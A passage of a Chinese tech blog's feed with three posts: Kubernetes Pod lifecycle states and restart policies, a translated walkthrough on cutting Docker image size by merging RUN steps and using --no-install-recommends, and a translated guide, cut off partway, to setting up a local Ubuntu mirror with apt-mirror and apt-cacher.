&lt;h1 id=&#34;pod-的生命期&#34;&gt;Pod 的生命期&lt;/h1&gt;

&lt;p&gt;一般来说， Pod 创建之后就不会消失，除非被手工销毁。销毁手段可能是人工、ReplicationController 或者其他控制器。唯一的例外是处于 Succeeded 或者 Failed 阶段一定时间的 Pod 会因过期（由 Master 决定）而被自动销毁。&lt;/p&gt;

&lt;p&gt;如果一个 Node 崩溃或者从集群断开，系统内的实体（目前称为 NodeController ）会负责执行策略（例如超时）并把丢失的 Node 中的所有 Pod 标记为 Failed。&lt;/p&gt;

&lt;h1 id=&#34;例子&#34;&gt;例子&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Pod 在 Running 状态，1 个容器，该容器成功退出

&lt;ul&gt;
&lt;li&gt;记录结束事件&lt;/li&gt;
&lt;li&gt;RestartPolicy 如果是&lt;/li&gt;
&lt;li&gt;Always：重启容器，Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;OnFailure：Pod 转为 Succeeded 状态&lt;/li&gt;
&lt;li&gt;Never：Pod 转为 Succeeded 状态&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Pod 在 Running 状态，一个容器，容器失败退出

&lt;ul&gt;
&lt;li&gt;记录失败事件&lt;/li&gt;
&lt;li&gt;如果 RestartPolicy 是：&lt;/li&gt;
&lt;li&gt;Always：重启容器，Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;OnFailure：重启容器，Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;Never：Pod 进入 Failed 状态&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Pod 在 Running 状态，两个容器，容器 1 失败退出

&lt;ul&gt;
&lt;li&gt;记录失败事件&lt;/li&gt;
&lt;li&gt;如果 RestartPolicy 是：&lt;/li&gt;
&lt;li&gt;Always：重启容器， Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;OnFailure：重启容器，Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;Never：Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;容器 2 退出&amp;hellip;&lt;/li&gt;
&lt;li&gt;记录失败事件&lt;/li&gt;
&lt;li&gt;如果 Restart Policy 是：

&lt;ul&gt;
&lt;li&gt;Always：重启容器，Pod 保持 Running 状态&lt;/li&gt;
&lt;li&gt;OnFailure：重启容器，Pod 保持 running 状态&lt;/li&gt;
&lt;li&gt;Never：Pod 进入 Failed 状态&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Pod 在 Running 状态，容器内存不足

&lt;ul&gt;
&lt;li&gt;容器失败退出&lt;/li&gt;
&lt;li&gt;记录 OOM 事件&lt;/li&gt;
&lt;li&gt;如果 RestartPolicy 是：&lt;/li&gt;
&lt;li&gt;Always：重启容器，Pod 保持 Running&lt;/li&gt;
&lt;li&gt;OnFailure：重启容器，Pod 保持 Running    - Never：记录失败事件，Pod 进入 Failed 状态&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Pod 在 Running 状态，一个磁盘坏掉。

&lt;ul&gt;
&lt;li&gt;所有容器被 Kill&lt;/li&gt;
&lt;li&gt;记录事件&lt;/li&gt;
&lt;li&gt;Pod 进入失败状态&lt;/li&gt;
&lt;li&gt;如果在控制器之下运行，则 Pod 会在其他位置被创建&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pod 在 Running 状态，所在 Node 被断开&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NodeController 等待超时长&lt;/li&gt;
&lt;li&gt;NodeController 标记 Pod 为 Failed 状态&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果在控制器之下运行，则 Pod 会在其他位置被创建&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;type PodStatus struct {
// Current condition of the pod.
// More info: http://releases.k8s.io/HEAD/docs/user-guide/pod-states.md#pod-phase
Phase PodPhase `json:&amp;quot;phase,omitempty&amp;quot;`
// Current service state of pod.
// More info: http://releases.k8s.io/HEAD/docs/user-guide/pod-states.md#pod-conditions
Conditions []PodCondition `json:&amp;quot;conditions,omitempty&amp;quot; patchStrategy:&amp;quot;merge&amp;quot; patchMergeKey:&amp;quot;type&amp;quot;`
// A human readable message indicating details about why the pod is in this condition.
Message string `json:&amp;quot;message,omitempty&amp;quot;`
// A brief CamelCase message indicating details about why the pod is in this state.
// e.g. &#39;OutOfDisk&#39;
Reason string `json:&amp;quot;reason,omitempty&amp;quot;`

// IP address of the host to which the pod is assigned. Empty if not yet scheduled.
HostIP string `json:&amp;quot;hostIP,omitempty&amp;quot;`
// IP address allocated to the pod. Routable at least within the cluster.
// Empty if not yet allocated.
PodIP string `json:&amp;quot;podIP,omitempty&amp;quot;`

// RFC 3339 date and time at which the object was acknowledged by the Kubelet.
// This is before the Kubelet pulled the container image(s) for the pod.
StartTime *unversioned.Time `json:&amp;quot;startTime,omitempty&amp;quot;`

// The list has one entry per container in the manifest. Each entry is currently the output
// of `docker inspect`.
// More info: http://releases.k8s.io/HEAD/docs/user-guide/pod-states.md#container-statuses
ContainerStatuses []ContainerStatus `json:&amp;quot;containerStatuses,omitempty&amp;quot;`
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;type ContainerState struct {
// Details about a waiting container
Waiting *ContainerStateWaiting `json:&amp;quot;waiting,omitempty&amp;quot;`
// Details about a running container
Running *ContainerStateRunning `json:&amp;quot;running,omitempty&amp;quot;`
// Details about a terminated container
Terminated *ContainerStateTerminated `json:&amp;quot;terminated,omitempty&amp;quot;`
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>优化 Dockerfile，缩减镜像尺寸</title>
      <link>/post/reduce-image-size-by-dockerfile-optimization/</link>
      <pubDate>Wed, 02 Mar 2016 05:01:53 +0800</pubDate>
      <guid>/post/reduce-image-size-by-dockerfile-optimization/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.replicated.com/refactoring-a-dockerfile-for-image-size/&#34; target=&#34;_blank&#34;&gt;Refactoring a Dockerfile for image size&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Docker 社区最近有一篇关于镜像文件尺寸的&lt;a href=&#34;http://www.iron.io/blog/2016/01/microcontainers-tiny-portable-containers.html&#34; target=&#34;_blank&#34;&gt;文章&lt;/a&gt;。&lt;a href=&#34;https://news.ycombinator.com/item?id=11000827&#34; target=&#34;_blank&#34;&gt;Docker&lt;/a&gt; 和&lt;a href=&#34;https://github.com/docker-library/golang/issues/77#issuecomment-172597368&#34; target=&#34;_blank&#34;&gt;社区&lt;/a&gt;都提倡更小的镜像。下面列出今天 Docker Hub 上的 Top 10 镜像的尺寸（ &lt;a href=&#34;https://medium.com/@mccode/the-misunderstood-docker-tag-latest-af3babfd6375#.nzttiqglh&#34; target=&#34;_blank&#34;&gt;Latest&lt;/a&gt; ）：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;镜像名称&lt;/th&gt;
&lt;th align=&#34;right&#34;&gt;尺寸（MB）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;busybox&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;1&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ubuntu&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;188&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;swarm&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;17&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;nginx&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;134&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;registry&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;423&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;redis&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;151&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;mysql&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;360&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;mongo&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;317&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;node&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;643&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;debian&lt;/td&gt;
&lt;td align=&#34;right&#34;&gt;125&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;使用较小的基础镜像（例如 Alphine Linux, BusyBox 等）有很多好处。这方面有不少相关文档：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.xebia.com/create-the-smallest-possible-docker-container/&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Create the smallest possible docker container&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.librato.com/posts/docker-images&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Docker Images&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://yasermartinez.com/blog/posts/creating-super-small-docker-images.html&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Create super small docker images&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.brianchristner.io/docker-image-base-os-size-comparison/&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;Docker images base os size comparison&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以我假设你已经试用了其中的一个为基础镜像。接下来的事情就取决于操作者控制镜像尺寸的能力了。特别的，我们会验证一些缩减镜像大小的手段的效果，例如把多个 &lt;code&gt;RUN&lt;/code&gt; 指令中的命令集中到一行，一些关于 &lt;code&gt;apt-get&lt;/code&gt; 的技巧（例如移除 apt-get 缓存以及 &lt;code&gt;--no-install-recommends&lt;/code&gt;）&lt;/p&gt;

&lt;h2 id=&#34;在同一行中进行清理工作&#34;&gt;在同一行中进行清理工作&lt;/h2&gt;

&lt;p&gt;Docker 镜像的基础是一种&lt;a href=&#34;https://en.wikipedia.org/wiki/Aufs&#34; target=&#34;_blank&#34;&gt;层次化文件系统&lt;/a&gt;。每一层都只是包含同下面一层不同的部分。在最上方只能看到一个统一视图，而无法获知他的构建历史。Dockerfile 的每一行都会在顶部建立一个新的层。&lt;/p&gt;

&lt;p&gt;例如我们以这样一个 Dockerfile 片段开始：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;ADD https://storage.googleapis.com/golang/go1.5.3.src.tar.gz /tmp

# do some things with that file

RUN rm /tmp/go1.5.3.src.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你可以能会觉得删除 &lt;code&gt;.tar.gz&lt;/code&gt; 文件是个负责任的好办法。但是包含这一文件的层还遗留在镜像之中。&lt;code&gt;rm&lt;/code&gt; 操作只是对最终镜像隐藏了这一文件，使用 &lt;code&gt;docker pull&lt;/code&gt; 获取这一镜像时还是会下载这些内容的。&lt;/p&gt;

&lt;p&gt;更好的办法就是把这些操作集中到一行之中，这样就不会提交多个层了。例如，对上面的指令进行简单的改写：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;RUN curl -o \
        /tmp/go.1.5.3.src.tar.gz \
        https://storage.googleapis.com/golang/go1.5.3.src.tar.gz &amp;amp;&amp;amp; \
      &amp;lt;do some things with the file&amp;gt; &amp;amp;&amp;amp; \
      rm /tmp/go1.5.3.src.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样看起来有点丑，不过能够优化镜像尺寸。如果你讨厌这种写法，可以建立一个脚本，然后用 &lt;code&gt;ADD&lt;/code&gt;、&lt;code&gt;RUN&lt;/code&gt; 来在 Dokerfile 中运行。&lt;/p&gt;

&lt;h2 id=&#34;用正确的方式移除-apt-yum-缓存&#34;&gt;用正确的方式移除 apt/yum 缓存&lt;/h2&gt;

&lt;p&gt;多数 Dockerfile 作者都知道应该 &lt;code&gt;apt-get remove&lt;/code&gt; 所有不必要的包。一个例子就是，用 curl/wget 来进行下载安装其他软件。可以事后使用 &lt;code&gt;apt-get remove curl&lt;/code&gt;，但是同上面的例子一样，curl 所在的层已经被封装到镜像之中，因此也应该把删除（包括相关的自动安装的依赖包）工作放到同一行中。&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&#34;一个实际的例子&#34;&gt;一个实际的例子。&lt;/h2&gt;

&lt;p&gt;这是一个简化版本的用于运行 Python 服务的 Dokerfile，我们将对他进行优化。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:14.04
RUN apt-get update
RUN apt-get install -y curl python-pip

RUN pip install requests

ADD ./my_service.py /my_service.py
ENTRYPOINT [&amp;quot;python&amp;quot;, &amp;quot;/my_service.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;myservice.py&lt;/code&gt; 是一个 Python 脚本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;#!/usr/bin/python
print &#39;Hello, world!&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来 build 并检查尺寸：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ sudo docker build -t size .
$ sudo docker images
REPOSITORY      TAG           IMAGE ID            CREATED           VIRTUAL SIZE
size            latest        da8a9be731ac        4 seconds ago     360.5 MB
ubuntu          14.04         6cc0fc2a5ee3        2 weeks ago       187.9 MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;188 MB 的基础镜像已经很吓人了，不过更值得注意的是，只是一个 hello-world 的 Python 脚本为什么会导致镜像尺寸倍增。这 360.5 MB 中到底有什么？其中包含了最上一层（本例中是 da8a9be731ac），以及用于建立顶层的所有的层的内容。&lt;/p&gt;

&lt;h3 id=&#34;添加一个清理层&#34;&gt;添加一个清理层&lt;/h3&gt;

&lt;p&gt;我们也许应该做一些清理工作，我们试试这样的 Dockerfile ：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:14.04
RUN apt-get update
RUN apt-get install -y curl python-pip

RUN pip install requests

## Clean up
RUN apt-get remove -y python-pip curl
RUN rm -rf /var/lib/apt/lists/*

ADD ./my_service.py /my_service.py
ENTRYPOINT [&amp;quot;python&amp;quot;, &amp;quot;/my_service.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Build，然后再看尺寸：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ sudo docker build -t size .
$ sudo docker images
REPOSITORY      TAG           IMAGE ID            CREATED           VIRTUAL SIZE
size            latest        c6dacdd00660        2 seconds ago     361.3 MB
ubuntu          14.04         6cc0fc2a5ee3        2 weeks ago       187.9 MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;事与愿违，镜像更大了。&lt;/p&gt;

&lt;h3 id=&#34;在同一层进行清理&#34;&gt;在同一层进行清理&lt;/h3&gt;

&lt;p&gt;接下来试试把 APT 操作进行合并：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:14.04
RUN apt-get update &amp;amp;&amp;amp; \
    apt-get install -y curl python-pip &amp;amp;&amp;amp; \
    pip install requests &amp;amp;&amp;amp; \
    apt-get remove -y python-pip curl &amp;amp;&amp;amp; \
    rm -rf /var/lib/apt/lists/*

ADD ./my_service.py /my_service.py
ENTRYPOINT [&amp;quot;python&amp;quot;, &amp;quot;/my_service.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Build 然后查看镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ sudo docker build -t size .
$ sudo docker images
REPOSITORY      TAG           IMAGE ID            CREATED           VIRTUAL SIZE
size            latest        e531f8674f33        9 seconds ago     338 MB
ubuntu          14.04         6cc0fc2a5ee3        2 weeks ago       187.9 MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;果然小了一点点 —— 只是一点点。&lt;/p&gt;

&lt;h3 id=&#34;进一步优化-apt&#34;&gt;进一步优化 APT&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;apt-get install&lt;/code&gt; 过程中加入了很多 &lt;code&gt;推荐&lt;/code&gt; 内容。&lt;a href=&#34;http://unix.stackexchange.com/questions/77053/apt-installing-more-packages-than-specified-as-dependencies&#34; target=&#34;_blank&#34;&gt;推荐包&lt;/a&gt;只是简单的加入了一些可有可无的依赖。有些用户会因为特殊的应用方式，或者环境要求才需要这些东西，换句话说，这些推荐内容并非必要。&lt;/p&gt;

&lt;p&gt;在 Ubuntu 14.04 中运行 PIP，很容易就可以得出结论：删除推荐包并不会有什么副作用。这一点在产品发布之前是完全可以确认的。可以在 Docker Hub 上看看 &lt;a href=&#34;https://github.com/docker-library/redis/blob/b375650fb69b7db819e90c0033433c705b28656e/3.0/Dockerfile#L6&#34; target=&#34;_blank&#34;&gt;redis&lt;/a&gt;，&lt;a href=&#34;https://github.com/docker-library/mysql/blob/ed198ce2e8aa78613c615f20c5c4dd09fa450f66/5.7/Dockerfile#L13&#34; target=&#34;_blank&#34;&gt;mysql&lt;/a&gt;，&lt;a href=&#34;https://github.com/docker-library/mongo/blob/7da0e6d6520607c99d40cf71a2e4b0a2da0beca9/3.2/Dockerfile#L7&#34; target=&#34;_blank&#34;&gt;mongo&lt;/a&gt;，&lt;a href=&#34;https://github.com/docker-library/postgres/blob/916a840510b481e7d3f0f74fa04fde3edfdfbd04/9.5/Dockerfile#L9&#34; target=&#34;_blank&#34;&gt;postgres&lt;/a&gt;，&lt;a href=&#34;https://github.com/docker-library/elasticsearch/blob/5b2bf54e2c17a8e2e1b062ea0d071eae600bfec2/2.2/Dockerfile#L23&#34; target=&#34;_blank&#34;&gt;elasticsearch&lt;/a&gt; 等的镜像，使用这一技巧来缩减镜像尺寸。&lt;/p&gt;

&lt;p&gt;实际操作一下带有 &lt;code&gt;--no-install-recommends&lt;/code&gt; 选项的 APT-GET：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:14.04
RUN apt-get update &amp;amp;&amp;amp; \
    apt-get install -y --no-install-recommends curl python-pip &amp;amp;&amp;amp; \
    pip install requests &amp;amp;&amp;amp; \
    apt-get remove -y python-pip curl &amp;amp;&amp;amp; \
    rm -rf /var/lib/apt/lists/*

ADD ./my_service.py /my_service.py
ENTRYPOINT [&amp;quot;python&amp;quot;, &amp;quot;/my_service.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Build，再次检查尺寸：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;REPOSITORY      TAG           IMAGE ID            CREATED           VIRTUAL SIZE
size            latest        fddc30aee4dc        6 seconds ago     229.2 MB
ubuntu          14.04         6cc0fc2a5ee3        2 weeks ago       187.9 MB
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这次我们把镜像缩小了 120 MB。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Dockerfile 的语法非常简单，也同样有优化的需求，因此在组织中应用 Docker 时，需要为 Dockerfile 建立健全相应的策略来优化这一过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 apt-mirror 和 apt-cacher 创建本地 Ubuntu 仓库</title>
      <link>/post/build-ubuntu-repository-with-apt-mirror-and-apt-cacher/</link>
      <pubDate>Sun, 07 Feb 2016 04:18:00 +0800</pubDate>
      <guid>/post/build-ubuntu-repository-with-apt-mirror-and-apt-cacher/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://hub.packtpub.com/create-local-ubuntu-repository-using-apt-mirror-and-apt-cacher/&#34; target=&#34;_blank&#34;&gt;Create a Local Ubuntu Repository using Apt-Mirror and Apt-Cacher&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;p&gt;在开始之前，让我先介绍一下促使我们形成这套方案的一些背景因素。&lt;/p&gt;

&lt;p&gt;我以前是本地一间大学用户组的志愿者，我乐于为 Linux 新手提供支持并分享经验。这其中我帮助部署的大多数都是 Ubuntu。Ubuntu 的母公司 Canonical 提供的光盘用处不大，尽管有很多光盘，我们还是要面临同一个问题：带宽。获取软件更新和安全补丁始终是一个导致部署缓慢的瓶颈。&lt;/p&gt;

&lt;p&gt;想象一下，你和一群 Linux 用户在同一个会议室里，每个用户都在尝试利用互联网来获取更新，想象一下这个过程会有多么缓慢和拥挤。随着人群的增长，这一问题会愈发显著。&lt;/p&gt;

&lt;p&gt;在经过这些折磨之后，我开始寻求解决这一问题的方法。我知道所有的机器都在下载同样的更新和补丁，这一切都是重复工作。这实在太没效率了。这里一定有更好的办法。最后我找到了两个方案，下面我会简要介绍。&lt;/p&gt;

&lt;h2 id=&#34;apt-mirror&#34;&gt;Apt-Mirror&lt;/h2&gt;

&lt;p&gt;第一个方法来自于一个工具——“apt-mirror”。这是一个 Perl 开发的工具，用来从一个公开仓库中下载并镜像全部内容。这样就会包含公共仓库中所有的内容，其中自然也会包含你不需要的包。&lt;/p&gt;

&lt;p&gt;要配置 apt-mirror 需要如下条件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;apt-mirror 包（&lt;code&gt;sudo aptitude install apt-mirror&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;apache2 包（&lt;code&gt;sudo aptitude install apache2&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;针对每个（硬件）架构的每个版本大概各需要 15G 的空间。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果上面的需求你可以达成，那么你就可以配置 apt-mirror 工具了，主要内容包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;存储位置（base_path）&lt;/li&gt;
&lt;li&gt;下载的线程数（nthreads）&lt;/li&gt;
&lt;li&gt;需要下载的版本和架构&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述配置在 &lt;code&gt;/etc/apt/mirror.list&lt;/code&gt;文件中完成。在安装这一工具的过程中，就会生成一个缺省版本，我们需要在这基础上对上述参数进行调整。&lt;/p&gt;

&lt;p&gt;下面我列出一个完整的配置文件，他将会镜像 Ubuntu 8.04 LTS 的 32 和 64 位版本。这需要接近 30G 的存储空间。我会把这些内容放到一个加载到 &lt;code&gt;/media/STORAGE/&lt;/code&gt; 的移动盘上。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# apt-mirror configuration file##
## The default configuration options (uncomment and change to override)
##
#
set base_path /media/STORAGE/
# set mirror_path $base_path/mirror
# set skel_path $base_path/skel
# set var_path $base_path/var
#
# set defaultarch &amp;lt;running host architecture&amp;gt;
set nthreads 20
## 8.04 &amp;quot;hardy&amp;quot; i386 mirror
deb-i386 http://us.archive.ubuntu.com/ubuntu hardy main restricted universe 
multiverse
deb-i386 http://us.archive.ubuntu.com/ubuntu hardy-updates main restricted 
universe multiverse
deb-i386 http://us.archive.ubuntu.com/ubuntu hardy-security main restricted 
universe multiverse
deb-i386 http://us.archive.ubuntu.com/ubuntu hardy-backports main restricted 
universe multiverse
deb-i386 http://us.archive.ubuntu.com/ubuntu hardy-proposed main restricted 
universe multiversedeb-i386 http://us.archive.ubuntu.com/ubuntu hardy main/debian-installer 
restricted/debian-installer universe/debian-installer multiverse/debian-installer
deb-i386 http://packages.medibuntu.org/ hardy free non-free# 8.04 &amp;quot;hardy&amp;quot; amd64 mirror
deb-amd64 http://us.archive.ubuntu.com/ubuntu hardy main restricted universe 
multiverse
deb-amd64 http://us.archive.ubuntu.com/ubuntu hardy-updates main restricted 
universe multiverse
deb-amd64 http://us.archive.ubuntu.com/ubuntu hardy-security main restricted 
universe multiverse
deb-amd64 http://us.archive.ubuntu.com/ubuntu hardy-backports main restricted 
universe multiverse
deb-amd64 http://us.archive.ubuntu.com/ubuntu hardy-proposed main restricted 
universe multiversedeb-amd64 http://us.archive.ubuntu.com/ubuntu hardy main/debian-installer 
restricted/debian-installer universe/debian-installer multiverse/debian-installer
deb-amd64 http://packages.medibuntu.org/ hardy free non-free# Cleaning section
clean http://us.archive.ubuntu.com/
clean http://packages.medibuntu.org/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;值得注意的是，上面每一行都需要以 &lt;code&gt;deb-i386&lt;/code&gt; 或者 &lt;code&gt;deb-amd64&lt;/code&gt; 开始。&lt;/p&gt;

&lt;p&gt;配置完成之后，就可以开始用下面的命令来开始镜像过程了：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-mirror&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;根据你的互联网连接速度，这可能需要很长的时间。首次运行会初始化这 30G 的内容，而在这之后，运行这一命令只会下载增长部分，就会快速很多了。&lt;/p&gt;

&lt;p&gt;读者可能要问，是否可以在完成之前取消传输过程，然后再继续运行呢？是的，我做了很多次这样的操作，目前没有出现任何问题。&lt;/p&gt;

&lt;p&gt;现在你有了一个公开仓库的本地镜像了。为了让其他客户能够访问你的仓库，就需要通过 &lt;code&gt;http&lt;/code&gt; 的方式来共享这些内容。在我上面的例子中，我把仓库内容存储在了移动盘上，加载点是 &lt;code&gt;/media/STORAGE&lt;/code&gt;。接下来要做的事情就是让这些内容能够通过 web 进行访问。简单的做一个符号链接就能达到目的了：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /var/www/
sudo ln -s /media/STORAGE/mirror/us.archive.ubuntu.com/ubuntu/ ubuntu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的命令会告诉文件系统，所有对 ubuntu 的请求都转到移动盘上，然后就能找到镜像内容了。如果这一过程出现了问题，请仔细检查路径问题，确认正确的连接到了 &lt;strong&gt;ubuntu&lt;/strong&gt; 目录上。连接错误会导致用户无法找到需要的内容。&lt;/p&gt;

&lt;p&gt;还有一个附加的需求就是让这一镜像保持更新，这一点可以通过 cron job 来实现。激活定时任务会自动运行 &lt;code&gt;apt-mirror&lt;/code&gt; 命令，保持镜像始终最新。&lt;/p&gt;

&lt;p&gt;要激活自动的定时任务，我们创建一个文件 &lt;code&gt;/etc/cron.d/apt-mirror&lt;/code&gt;。这里提供一个示例内容，只要取消这一行的注释，并把 &lt;code&gt;4&lt;/code&gt; 替换成一个你认为合适的时间即可。如果没有修改时间，他会在每天早上 4 点运行 &lt;code&gt;apt-mirror&lt;/code&gt; 命令，进行同步。&lt;/p&gt;

&lt;p&gt;现在已经建立了自己的仓库，并且通过 http 进行了共享，还设置了自动的更新，那么最后一步就是配置客户来使用它了。Ubuntu 用户使用 /etc/apt/sources.list 文件来定义更新源。这个文件通常会指向官方源。因此需要注释原有内容，加入我们的镜像源。例如把下面的内容加入到配置文件：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;deb http://192.168.0.10/ubuntu hardy main restricted universe multiverse
deb http://192.168.0.10/ubuntu hardy-updates main restricted universe multiverse
deb http://192.168.0.10/ubuntu hardy-security main restricted universe multiverse
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;基本上完成这些步骤之后，你的镜像仓库就可以通过 http 提供服务了，如果出现了问题，可以查看 apache 日志来进行除错。&lt;/p&gt;

&lt;p&gt;现在局域网里面就有了私有的（可移动）Ubuntu 仓库了，能够大量节省你的时间和带宽。&lt;/p&gt;

&lt;p&gt;（这里还有更多的 &lt;a href=&#34;https://www.packtpub.com/books/content/create-local-ubuntu-repository-using-apt-mirror-and-apt-cacher#more&#34; target=&#34;_blank&#34;&gt;Ubutnu 资源&lt;/a&gt;）&lt;/p&gt;

&lt;h2 id=&#34;apt-cacher&#34;&gt;Apt-Cacher&lt;/h2&gt;

&lt;p&gt;第二个镜像 Ubuntu 仓库的方法就是使用 &lt;strong&gt;Apt-Cacher&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;Apt-Cacher 不同于 apt-mirror 的地方是，他不会镜像整个仓库的内容，而只是简单的缓存客户请求的包。换句话说，他扮演了局域网客户端和公共仓库之间的中间人，在内网中分享曾经下载过的包内容。&lt;/p&gt;

&lt;p&gt;每次有客户端请求一个包，不管是一个应用还是安全更新，apt-cache 服务器会从公众仓库请求这个包，保存起来并发送给请求的客户。这样这个包就对内网中的任何用户都是可用的了。&lt;/p&gt;

&lt;p&gt;这个办法很适合需要最小化存储消耗，或只是想更方便的获取更新的场景。&lt;/p&gt;

&lt;p&gt;要配置这个方法需要如下准备：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;apt-cacher 包（&lt;code&gt;sudo aptitude install apt-cacher&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;apache2 包（&lt;code&gt;sudo aptitude install apache2&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;可用存储（基于存储请求包的个数决定）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;安装好需要的包之后，就需要激活这个服务了。激活服务只要编辑 &lt;code&gt;/etc/default/apt-cacher&lt;/code&gt; 文件，设置 &lt;strong&gt;AUTOSTART&lt;/strong&gt; 的值：&lt;/p&gt;

